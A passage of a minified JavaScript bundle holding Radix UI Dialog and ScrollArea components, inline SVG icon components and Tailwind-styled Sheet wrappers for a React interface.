E.jsx(d_,{scope:t,triggerRef:a,contentRef:l,contentId:Ki(),titleId:Ki(),descriptionId:Ki(),open:u,onOpenChange:c,onOpenToggle:h.useCallback(()=>c(f=>!f),[c]),modal:s,children:n})};x1.displayName=pp;var b1="DialogTrigger",C1=h.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,o=zn(b1,n),i=tt(t,o.triggerRef);return E.jsx($e.button,{type:"button","aria-haspopup":"dialog","aria-expanded":o.open,"aria-controls":o.contentId,"data-state":gp(o.open),...r,ref:i,onClick:We(e.onClick,o.onOpenToggle)})});C1.displayName=b1;var mp="DialogPortal",[f_,S1]=w1(mp,{forceMount:void 0}),E1=e=>{const{__scopeDialog:t,forceMount:n,children:r,container:o}=e,i=zn(mp,t);return E.jsx(f_,{scope:t,forceMount:n,children:h.Children.map(r,s=>E.jsx(sr,{present:n||i.open,children:E.jsx(u1,{asChild:!0,container:o,children:s})}))})};E1.displayName=mp;var Gu="DialogOverlay",_1=h.forwardRef((e,t)=>{const n=S1(Gu,e.__scopeDialog),{forceMount:r=n.forceMount,...o}=e,i=zn(Gu,e.__scopeDialog);return i.modal?E.jsx(sr,{present:r||i.open,children:E.jsx(h_,{...o,ref:t})}):null});_1.displayName=Gu;var h_=h.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,o=zn(Gu,n);return E.jsx(g1,{as:_s,allowPinchZoom:!0,shards:[o.contentRef],children:E.jsx($e.div,{"data-state":gp(o.open),...r,ref:t,style:{pointerEvents:"auto",...r.style}})})}),si="DialogContent",k1=h.forwardRef((e,t)=>{const n=S1(si,e.__scopeDialog),{forceMount:r=n.forceMount,...o}=e,i=zn(si,e.__scopeDialog);return E.jsx(sr,{present:r||i.open,children:i.modal?E.jsx(p_,{...o,ref:t}):E.jsx(m_,{...o,ref:t})})});k1.displayName=si;var p_=h.forwardRef((e,t)=>{const n=zn(si,e.__scopeDialog),r=h.useRef(null),o=tt(t,n.contentRef,r);return h.useEffect(()=>{const i=r.current;if(i)return c_(i)},[]),E.jsx(R1,{...e,ref:o,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:We(e.onCloseAutoFocus,i=>{var s;i.preventDefault(),(s=n.triggerRef.current)==null||s.focus()}),onPointerDownOutside:We(e.onPointerDownOutside,i=>{const s=i.detail.originalEvent,a=s.button===0&&s.ctrlKey===!0;(s.button===2||a)&&i.preventDefault()}),onFocusOutside:We(e.onFocusOutside,i=>i.preventDefault())})}),m_=h.forwardRef((e,t)=>{const n=zn(si,e.__scopeDialog),r=h.useRef(!1),o=h.useRef(!1);return E.jsx(R1,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:i=>{var s,a;(s=e.onCloseAutoFocus)==null||s.call(e,i),i.defaultPrevented||(r.current||(a=n.triggerRef.current)==null||a.focus(),i.preventDefault()),r.current=!1,o.current=!1},onInteractOutside:i=>{var l,u;(l=e.onInteractOutside)==null||l.call(e,i),i.defaultPrevented||(r.current=!0,i.detail.originalEvent.type==="pointerdown"&&(o.current=!0));const s=i.target;((u=n.triggerRef.current)==null?void 0:u.contains(s))&&i.preventDefault(),i.detail.originalEvent.type==="focusin"&&o.current&&i.preventDefault()}})}),R1=h.forwardRef((e,t)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:o,onCloseAutoFocus:i,...s}=e,a=zn(si,n),l=h.useRef(null),u=tt(t,l);return EE(),E.jsxs(E.Fragment,{children:[E.jsx(a1,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:o,onUnmountAutoFocus:i,children:E.jsx(hp,{role:"dialog",id:a.contentId,"aria-describedby":a.descriptionId,"aria-labelledby":a.titleId,"data-state":gp(a.open),...s,ref:u,onDismiss:()=>a.onOpenChange(!1)})}),E.jsxs(E.Fragment,{children:[E.jsx(v_,{titleId:a.titleId}),E.jsx(y_,{contentRef:l,descriptionId:a.descriptionId})]})]})}),vp="DialogTitle",P1=h.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,o=zn(vp,n);return E.jsx($e.h2,{id:o.titleId,...r,ref:t})});P1.displayName=vp;var T1="DialogDescription",N1=h.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,o=zn(T1,n);return E.jsx($e.p,{id:o.descriptionId,...r,ref:t})});N1.displayName=T1;var O1="DialogClose",L1=h.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,o=zn(O1,n);return E.jsx($e.button,{type:"button",...r,ref:t,onClick:We(e.onClick,()=>o.onOpenChange(!1))})});L1.displayName=O1;function gp(e){return e?"open":"closed"}var A1="DialogTitleWarning",[tT,M1]=XS(A1,{contentName:si,titleName:vp,docsSlug:"dialog"}),v_=({titleId:e})=>{const t=M1(A1),n=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users.

If you want to hide the \`${t.titleName}\`, you can wrap it with our VisuallyHidden component.

For more information, see https://radix-ui.com/primitives/docs/components/${t.docsSlug}`;return h.useEffect(()=>{e&&(document.getElementById(e)||console.error(n))},[n,e]),null},g_="DialogDescriptionWarning",y_=({contentRef:e,descriptionId:t})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${M1(g_).contentName}}.`;return h.useEffect(()=>{var i;const o=(i=e.current)==null?void 0:i.getAttribute("aria-describedby");t&&o&&(document.getElementById(t)||console.warn(r))},[r,e,t]),null},w_=x1,x_=C1,b_=E1,D1=_1,j1=k1,I1=P1,z1=N1,F1=L1;function an(e,t){if(e==null)return{};var n={},r=Object.keys(e),o,i;for(i=0;i<r.length;i++)o=r[i],!(t.indexOf(o)>=0)&&(n[o]=e[o]);return n}var C_=["color"],nT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,C_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M4.93179 5.43179C4.75605 5.60753 4.75605 5.89245 4.93179 6.06819C5.10753 6.24392 5.39245 6.24392 5.56819 6.06819L7.49999 4.13638L9.43179 6.06819C9.60753 6.24392 9.89245 6.24392 10.0682 6.06819C10.2439 5.89245 10.2439 5.60753 10.0682 5.43179L7.81819 3.18179C7.73379 3.0974 7.61933 3.04999 7.49999 3.04999C7.38064 3.04999 7.26618 3.0974 7.18179 3.18179L4.93179 5.43179ZM10.0682 9.56819C10.2439 9.39245 10.2439 9.10753 10.0682 8.93179C9.89245 8.75606 9.60753 8.75606 9.43179 8.93179L7.49999 10.8636L5.56819 8.93179C5.39245 8.75606 5.10753 8.75606 4.93179 8.93179C4.75605 9.10753 4.75605 9.39245 4.93179 9.56819L7.18179 11.8182C7.35753 11.9939 7.64245 11.9939 7.81819 11.8182L10.0682 9.56819Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),S_=["color"],rT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,S_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M11.4669 3.72684C11.7558 3.91574 11.8369 4.30308 11.648 4.59198L7.39799 11.092C7.29783 11.2452 7.13556 11.3467 6.95402 11.3699C6.77247 11.3931 6.58989 11.3355 6.45446 11.2124L3.70446 8.71241C3.44905 8.48022 3.43023 8.08494 3.66242 7.82953C3.89461 7.57412 4.28989 7.55529 4.5453 7.78749L6.75292 9.79441L10.6018 3.90792C10.7907 3.61902 11.178 3.53795 11.4669 3.72684Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),E_=["color"],__=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,E_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M3.13523 6.15803C3.3241 5.95657 3.64052 5.94637 3.84197 6.13523L7.5 9.56464L11.158 6.13523C11.3595 5.94637 11.6759 5.95657 11.8648 6.15803C12.0536 6.35949 12.0434 6.67591 11.842 6.86477L7.84197 10.6148C7.64964 10.7951 7.35036 10.7951 7.15803 10.6148L3.15803 6.86477C2.95657 6.67591 2.94637 6.35949 3.13523 6.15803Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),k_=["color"],oT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,k_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M8.84182 3.13514C9.04327 3.32401 9.05348 3.64042 8.86462 3.84188L5.43521 7.49991L8.86462 11.1579C9.05348 11.3594 9.04327 11.6758 8.84182 11.8647C8.64036 12.0535 8.32394 12.0433 8.13508 11.8419L4.38508 7.84188C4.20477 7.64955 4.20477 7.35027 4.38508 7.15794L8.13508 3.15794C8.32394 2.95648 8.64036 2.94628 8.84182 3.13514Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),R_=["color"],iT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,R_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M6.1584 3.13508C6.35985 2.94621 6.67627 2.95642 6.86514 3.15788L10.6151 7.15788C10.7954 7.3502 10.7954 7.64949 10.6151 7.84182L6.86514 11.8418C6.67627 12.0433 6.35985 12.0535 6.1584 11.8646C5.95694 11.6757 5.94673 11.3593 6.1356 11.1579L9.565 7.49985L6.1356 3.84182C5.94673 3.64036 5.95694 3.32394 6.1584 3.13508Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),P_=["color"],sT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,P_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M3.13523 8.84197C3.3241 9.04343 3.64052 9.05363 3.84197 8.86477L7.5 5.43536L11.158 8.86477C11.3595 9.05363 11.6759 9.04343 11.8648 8.84197C12.0536 8.64051 12.0434 8.32409 11.842 8.13523L7.84197 4.38523C7.64964 4.20492 7.35036 4.20492 7.15803 4.38523L3.15803 8.13523C2.95657 8.32409 2.94637 8.64051 3.13523 8.84197Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),T_=["color"],N_=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,T_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M11.7816 4.03157C12.0062 3.80702 12.0062 3.44295 11.7816 3.2184C11.5571 2.99385 11.193 2.99385 10.9685 3.2184L7.50005 6.68682L4.03164 3.2184C3.80708 2.99385 3.44301 2.99385 3.21846 3.2184C2.99391 3.44295 2.99391 3.80702 3.21846 4.03157L6.68688 7.49999L3.21846 10.9684C2.99391 11.193 2.99391 11.557 3.21846 11.7816C3.44301 12.0061 3.80708 12.0061 4.03164 11.7816L7.50005 8.31316L10.9685 11.7816C11.193 12.0061 11.5571 12.0061 11.7816 11.7816C12.0062 11.557 12.0062 11.193 11.7816 10.9684L8.31322 7.49999L11.7816 4.03157Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),O_=["color"],aT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,O_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M9.875 7.5C9.875 8.81168 8.81168 9.875 7.5 9.875C6.18832 9.875 5.125 8.81168 5.125 7.5C5.125 6.18832 6.18832 5.125 7.5 5.125C8.81168 5.125 9.875 6.18832 9.875 7.5Z",fill:r}))}),L_=["color"],lT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,L_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M3.625 7.5C3.625 8.12132 3.12132 8.625 2.5 8.625C1.87868 8.625 1.375 8.12132 1.375 7.5C1.375 6.87868 1.87868 6.375 2.5 6.375C3.12132 6.375 3.625 6.87868 3.625 7.5ZM8.625 7.5C8.625 8.12132 8.12132 8.625 7.5 8.625C6.87868 8.625 6.375 8.12132 6.375 7.5C6.375 6.87868 6.87868 6.375 7.5 6.375C8.12132 6.375 8.625 6.87868 8.625 7.5ZM12.5 8.625C13.1213 8.625 13.625 8.12132 13.625 7.5C13.625 6.87868 13.1213 6.375 12.5 6.375C11.8787 6.375 11.375 6.87868 11.375 7.5C11.375 8.12132 11.8787 8.625 12.5 8.625Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),A_=["color"],uT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,A_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M6.85355 3.85355C7.04882 3.65829 7.04882 3.34171 6.85355 3.14645C6.65829 2.95118 6.34171 2.95118 6.14645 3.14645L2.14645 7.14645C1.95118 7.34171 1.95118 7.65829 2.14645 7.85355L6.14645 11.8536C6.34171 12.0488 6.65829 12.0488 6.85355 11.8536C7.04882 11.6583 7.04882 11.3417 6.85355 11.1464L3.20711 7.5L6.85355 3.85355ZM12.8536 3.85355C13.0488 3.65829 13.0488 3.34171 12.8536 3.14645C12.6583 2.95118 12.3417 2.95118 12.1464 3.14645L8.14645 7.14645C7.95118 7.34171 7.95118 7.65829 8.14645 7.85355L12.1464 11.8536C12.3417 12.0488 12.6583 12.0488 12.8536 11.8536C13.0488 11.6583 13.0488 11.3417 12.8536 11.1464L9.20711 7.5L12.8536 3.85355Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),M_=["color"],cT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,M_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M2.14645 11.1464C1.95118 11.3417 1.95118 11.6583 2.14645 11.8536C2.34171 12.0488 2.65829 12.0488 2.85355 11.8536L6.85355 7.85355C7.04882 7.65829 7.04882 7.34171 6.85355 7.14645L2.85355 3.14645C2.65829 2.95118 2.34171 2.95118 2.14645 3.14645C1.95118 3.34171 1.95118 3.65829 2.14645 3.85355L5.79289 7.5L2.14645 11.1464ZM8.14645 11.1464C7.95118 11.3417 7.95118 11.6583 8.14645 11.8536C8.34171 12.0488 8.65829 12.0488 8.85355 11.8536L12.8536 7.85355C13.0488 7.65829 13.0488 7.34171 12.8536 7.14645L8.85355 3.14645C8.65829 2.95118 8.34171 2.95118 8.14645 3.14645C7.95118 3.34171 7.95118 3.65829 8.14645 3.85355L11.7929 7.5L8.14645 11.1464Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),D_=["color"],dT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,D_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M10 6.5C10 8.433 8.433 10 6.5 10C4.567 10 3 8.433 3 6.5C3 4.567 4.567 3 6.5 3C8.433 3 10 4.567 10 6.5ZM9.30884 10.0159C8.53901 10.6318 7.56251 11 6.5 11C4.01472 11 2 8.98528 2 6.5C2 4.01472 4.01472 2 6.5 2C8.98528 2 11 4.01472 11 6.5C11 7.56251 10.6318 8.53901 10.0159 9.30884L12.8536 12.1464C13.0488 12.3417 13.0488 12.6583 12.8536 12.8536C12.6583 13.0488 12.3417 13.0488 12.1464 12.8536L9.30884 10.0159Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))}),j_=["color"],fT=h.forwardRef(function(e,t){var n=e.color,r=n===void 0?"currentColor":n,o=an(e,j_);return h.createElement("svg",Object.assign({width:"15",height:"15",viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg"},o,{ref:t}),h.createElement("path",{d:"M7.49991 0.876892C3.84222 0.876892 0.877075 3.84204 0.877075 7.49972C0.877075 11.1574 3.84222 14.1226 7.49991 14.1226C11.1576 14.1226 14.1227 11.1574 14.1227 7.49972C14.1227 3.84204 11.1576 0.876892 7.49991 0.876892ZM1.82707 7.49972C1.82707 4.36671 4.36689 1.82689 7.49991 1.82689C10.6329 1.82689 13.1727 4.36671 13.1727 7.49972C13.1727 10.6327 10.6329 13.1726 7.49991 13.1726C4.36689 13.1726 1.82707 10.6327 1.82707 7.49972ZM7.50003 4C7.77617 4 8.00003 4.22386 8.00003 4.5V7H10.5C10.7762 7 11 7.22386 11 7.5C11 7.77614 10.7762 8 10.5 8H8.00003V10.5C8.00003 10.7761 7.77617 11 7.50003 11C7.22389 11 7.00003 10.7761 7.00003 10.5V8H4.50003C4.22389 8 4.00003 7.77614 4.00003 7.5C4.00003 7.22386 4.22389 7 4.50003 7H7.00003V4.5C7.00003 4.22386 7.22389 4 7.50003 4Z",fill:r,fillRule:"evenodd",clipRule:"evenodd"}))});const I_=w_,z_=x_,hT=F1,F_=b_,$1=h.forwardRef(({className:e,...t},n)=>E.jsx(D1,{className:Ze("fixed inset-0 z-50 bg-black/80  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t,ref:n}));$1.displayName=D1.displayName;const $_=fp("fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500",{variants:{side:{top:"inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top",bottom:"inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom",left:"inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm",right:"inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm"}},defaultVariants:{side:"right"}}),U1=h.forwardRef(({side:e="right",className:t,children:n,...r},o)=>E.jsxs(F_,{children:[E.jsx($1,{}),E.jsxs(j1,{ref:o,className:Ze($_({side:e}),t),...r,children:[n,E.jsxs(F1,{className:"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary",children:[E.jsx(N_,{className:"h-4 w-4"}),E.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));U1.displayName=j1.displayName;const U_=({className:e,...t})=>E.jsx("div",{className:Ze("flex flex-col space-y-2 text-center sm:text-left",e),...t});U_.displayName="SheetHeader";const B_=({className:e,...t})=>E.jsx("div",{className:Ze("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",e),...t});B_.displayName="SheetFooter";const V_=h.forwardRef(({className:e,...t},n)=>E.jsx(I1,{ref:n,className:Ze("text-lg font-semibold text-foreground",e),...t}));V_.displayName=I1.displayName;const H_=h.forwardRef(({className:e,...t},n)=>E.jsx(z1,{ref:n,className:Ze("text-sm text-muted-foreground",e),...t}));H_.displayName=z1.displayName;var W_=h.createContext(void 0);function B1(e){const t=h.useContext(W_);return e||t||"ltr"}function Z_(e,[t,n]){return Math.min(n,Math.max(t,e))}function Q_(e,t){return h.useReducer((n,r)=>t[n][r]??n,e)}var yp="ScrollArea",[V1,pT]=hi(yp),[K_,wn]=V1(yp),H1=h.forwardRef((e,t)=>{const{__scopeScrollArea:n,type:r="hover",dir:o,scrollHideDelay:i=600,...s}=e,[a,l]=h.useState(null),[u,c]=h.useState(null),[f,d]=h.useState(null),[m,w]=h.useState(null),[g,x]=h.useState(null),[v,p]=h.useState(0),[y,C]=h.useState(0),[_,b]=h.useState(!1),[P,T]=h.useState(!1),O=tt(t,$=>l($)),M=B1(o);return E.jsx(K_,{scope:n,type:r,dir:M,scrollHideDelay:i,scrollArea:a,viewport:u,onViewportChange:c,content:f,onContentChange:d,scrollbarX:m,onScrollbarXChange:w,scrollbarXEnabled:_,onScrollbarXEnabledChange:b,scrollbarY:g,onScrollbarYChange:x,scrollbarYEnabled:P,onScrollbarYEnabledChange:T,onCornerWidthChange:p,onCornerHeightChange:C,children:E.jsx($e.div,{dir:M,...s,ref:O,style:{position:"relative","--radix-scroll-area-corner-width":v+"px","--radix-scroll-area-corner-height":y+"px",...e.style}})})});H1.displayName=yp;var W1="ScrollAreaViewport",Z1=h.forwardRef((e,t)=>{const{__scopeScrollArea:n,children:r,nonce:o,...i}=e,s=wn(W1,n),a=h.useRef(null),l=tt(t,a,s.onViewportChange);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-scroll-area-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-scroll-area-viewport]::-webkit-scrollbar{display:none}"},nonce:o}),E.jsx($e.div,{"data-radix-scroll-area-viewport":"",...i,ref:l,style:{overflowX:s.scrollbarXEnabled?"scroll":"hidden",overflowY:s.scrollbarYEnabled?"scroll":"hidden",...e.style},children:E.jsx("div",{ref:s.onContentChange,style:{minWidth:"100%",display:"table"},children:r})})]})});Z1.displayName=W1;var ar="ScrollAreaScrollbar",xp=h.forwardRef((e,t)=>{const{forceMount:n,...r}=e,o=wn(ar,e.__scopeScrollArea),{onScrollbarXEnabledChange:i,onScrollbarYEnabledChange:s}=o,a=e.orientation==="horizontal";return h.useEffect(()=>(a?i(!0):s(!0),()=>{a?i(!1):s(!1)}),[a,i,s]),o.type==="hover"?E.jsx(Y_,{...r,ref:t,forceMount:n}):o.type==="scroll"?E.jsx(G_,{...r,ref:t,forceMount:n}):o.type==="auto"?E.jsx(Q1,{...r,ref:t,forceMount:n}):o.type==="always"?E.jsx(bp,{...r,ref:t}):null});xp.displayName=ar;var Y_=h.forwardRef((e,t)=>{const{forceMount:n,...r}=e,o=wn(ar,e.__scopeScrollArea),[i,s]=h.useState(!1);return h.useEffect(()=>{const a=o.scrollArea;let l=0;if(a){const u=()=>{window.clearTimeout(l),s(!0)},c=()=>{l=window.setTimeout(()=>s(!1),o.scrollHideDelay)};return a.addEventListener("pointerenter",u),a.addEventListener("pointerleave",c),()=>{window.clearTimeout(l),a.removeEventListener("pointerenter",u),a.removeEventListener("pointerleave",c)}}},[o.scrollArea,o.scrollHideDelay]),E.jsx(sr,{present:n||i,children:E.jsx(Q1,{"data-state":i?"visible":"hidden",...r,ref:t})})}),G_=h.forwardRef((e,t)=>{const{forceMount:n,...r}=e,o=wn(ar,e.__scopeScrollArea),i=e.orientation==="horizontal",s=Lc(()=>l("SCROLL_END"),100),[a,l]=Q_("hidden",{hidden:{SCROLL:"scrolling"},scrolling:{SCROLL_END:"idle",POINTER_ENTER:"interacting"},interacting:{SCROLL:"interacting",POINTER_LEAVE:"idle"},idle:{HIDE:"hidden",SCROLL:"scrolling",POINTER_ENTER:"interacting"}});return h.useEffect(()=>{if(a==="idle"){const u=window.setTimeout(()=>l("HIDE"),o.scrollHideDelay);return()=>window.clearTimeout(u)}},[a,o.scrollHideDelay,l]),h.useEffect(()=>{const u=o.viewport,c=i?"scrollLeft":"scrollTop";if(u){let f=u[c];const d=()=>{const m=u[c];f!==m&&(l("SCROLL"),s()),f=m};return u.addEventListener("scroll",d),()=>u.removeEventListener("scroll",d)}},[o.viewport,i,l,s]),E.jsx(sr,{present:n||a!=="hidden",children:E.jsx(bp,{"data-state":a==="hidden"?"hidden":"visible",...r,ref:t,onPointerEnter:We(e.onPointerEnter,()=>l("POINTER_ENTER")),onPointerLeave:We(e.onPointerLeave,()=>l("POINTER_LEAVE"))})})}),Q1=h.forwardRef((e,t)=>{const n=wn(ar,e.__scopeScrollArea),{forceMount:r,...o}=e,[i,s]=h.useState(!1),a=e.orientation==="horizontal",l=Lc(()=>{if(n.viewport){const u=n.viewport.offsetWidth<n.viewport.scrollWidth,c=n.viewport.offsetHeight<n.viewport.scrollHeight;s(a?u:c)}},10);return ks(n.viewport,l),ks(n.content,l),E.jsx(sr,{present:r||i,children:E.jsx(bp,{"data-state":i?"visible":"hidden",...o,ref:t})})}),bp=h.forwardRef((e,t)=>{const{orientation:n="vertical",...r}=e,o=wn(ar,e.__scopeScrollArea),i=h.useRef(null),s=h.useRef(0),[a,l]=h.useState({content:0,viewport:0,scrollbar:{size:0,paddingStart:0,paddingEnd:0}}),u=X1(a.viewport,a.content),c={...r,sizes:a,onSizesChange:l,hasThumb:u>0&&u<1,onThumbChange:d=>i.current=d,onThumbPointerUp:()=>s.current=0,onThumbPointerDown:d=>s.current=d};function f(d,m){return n5(d,s.current,a,m)}return n==="horizontal"?E.jsx(q_,{...c,ref:t,onThumbPositionChange:()=>{if(o.viewport&&i.current){const d=o.viewport.scrollLeft,m=Rv(d,a,o.dir);i.current.style.transform=`translate3d(${m}px, 0, 0)`}},onWheelScroll:d=>{o.viewport&&(o.viewport.scrollLeft=d)},onDragScroll:d=>{o.viewport&&(o.viewport.scrollLeft=f(d,o.dir))}}):n==="vertical"?E.jsx(X_,{...c,ref:t,onThumbPositionChange:()=>{if(o.viewport&&i.current){const d=o.viewport.scrollTop,m=Rv(d,a);i.current.style.transform=`translate3d(0, ${m}px, 0)`}},onWheelScroll:d=>{o.viewport&&(o.viewport.scrollTop=d)},onDragScroll:d=>{o.viewport&&(o.viewport.scrollTop=f(d))}}):null}),q_=h.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...o}=e,i=wn(ar,e.__scopeScrollArea),[s,a]=h.useState(),l=h.useRef(null),u=tt(t,l,i.onScrollbarXChange);return h.useEffect(()=>{l.current&&a(getComputedStyle(l.current))},[l]),E.jsx(Y1,{"data-orientation":"horizontal",...o,ref:u,sizes:n,style:{bottom:0,left:i.dir==="rtl"?"var(--radix-scroll-area-corner-width)":0,right:i.dir==="ltr"?"var(--radix-scroll-area-corner-width)":0,"--radix-scroll-area-thumb-width":Oc(n)+"px",...e.style},onThumbPointerDown:c=>e.onThumbPointerDown(c.x),onDragScroll:c=>e.onDragScroll(c.x),onWheelScroll:(c,f)=>{if(i.viewport){const d=i.viewport.scrollLeft+c.deltaX;e.onWheelScroll(d),ew(d,f)&&c.preventDefault()}},onResize:()=>{l.current&&i.viewport&&s&&r({content:i.viewport.scrollWidth,viewport:i.viewport.offsetWidth,scrollbar:{size:l.current.clientWidth,paddingStart:Xu(s.paddingLeft),paddingEnd:Xu(s.paddingRight)}})}})}),X_=h.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...o}=e,i=wn(ar,e.__scopeScrollArea),[s,a]=h.useState(),l=h.useRef(null),u=tt(t,l,i.onScrollbarYChange);return h.useEffect(()=>{l.current&&a(getComputedStyle(l.current))},[l]),E.jsx(Y1,{"data-orientation":"vertical",...o,ref:u,sizes:n,style:{top:0,right:i.dir==="ltr"?0:void 0,left:i.dir==="rtl"?0:void 0,bottom:"var(--radix-scroll-area-corner-height)","--radix-scroll-area-thumb-height":Oc(n)+"px",...e.style},onThumbPointerDown:c=>e.onThumbPointerDown(c.y),onDragScroll:c=>e.onDragScroll(c.y),onWheelScroll:(c,f)=>{if(i.viewport){const d=i.viewport.scrollTop+c.deltaY;e.onWheelScroll(d),ew(d,f)&&c.preventDefault()}},onResize:()=>{l.current&&i.viewport&&s&&r({content:i.viewport.scrollHeight,viewport:i.viewport.offsetHeight,scrollbar:{size:l.current.clientHeight,paddingStart:Xu(s.paddingTop),paddingEnd:Xu(s.paddingBottom)}})}})}),[J_,K1]=V1(ar),Y1=h.forwardRef((e,t)=>{const{__scopeScrollArea:n,sizes:r,hasThumb:o,onThumbChange:i,onThumbPointerUp:s,onThumbPointerDown:a,onThumbPositionChange:l,onDragScroll:u,onWheelScroll:c,onResize:f,...d}=e,m=wn(ar,n),[w,g]=h.useState(null),x=tt(t,O=>g(O)),v=h.useRef(null),p=h.useRef(""),y=m.viewport,C=r.content-r.viewport,_=Ot(c),b=Ot(l),P=Lc(f,10);function T(O){if(v.current){const M=O.clientX-v.current.left,$=O.clientY-v.current.top;u({x:M,y:$})}}return h.useEffect(()=>{const O=M=>{const $=M.target;(w==null?void 0:w.contains($))&&_(M,C)};return 